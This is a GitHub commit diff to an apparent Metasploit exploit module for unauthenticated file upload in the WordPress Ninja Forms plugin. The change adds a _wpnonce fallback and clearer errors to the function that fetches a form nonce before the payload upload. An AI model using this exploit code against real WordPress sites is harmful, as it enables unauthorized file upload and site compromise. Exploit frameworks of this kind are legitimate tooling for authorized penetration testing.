Skip to content

Commit b2c3267

Browse files
committed
Land rapid7#7042, fetch_ninja_form_nonce/wponce fix
2 parents ee90e5e + 1ecef26 commit b2c3267

File tree

1 file changed

+13
-2
lines changed

1 file changed

+13
-2
lines changed

modules/exploits/unix/webapp/wp_ninja_forms_unauthenticated_file_upload.rb

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -105,8 +105,19 @@ def fetch_ninja_form_nonce
105105
'uri' => uri
106106
)
107107

108-
fail_with Failure::UnexpectedReply, 'Failed to acquire a nonce' unless res && res.code == 200
109-
res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1]
108+
unless res && res.code == 200
109+
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
110+
end
111+
112+
form_wpnonce = res.get_hidden_inputs.first['_wpnonce']
113+
114+
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
115+
116+
unless nonce
117+
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
118+
end
119+
120+
nonce
110121
end
111122

112123
def upload_payload(data)

0 commit comments

Comments
 (0)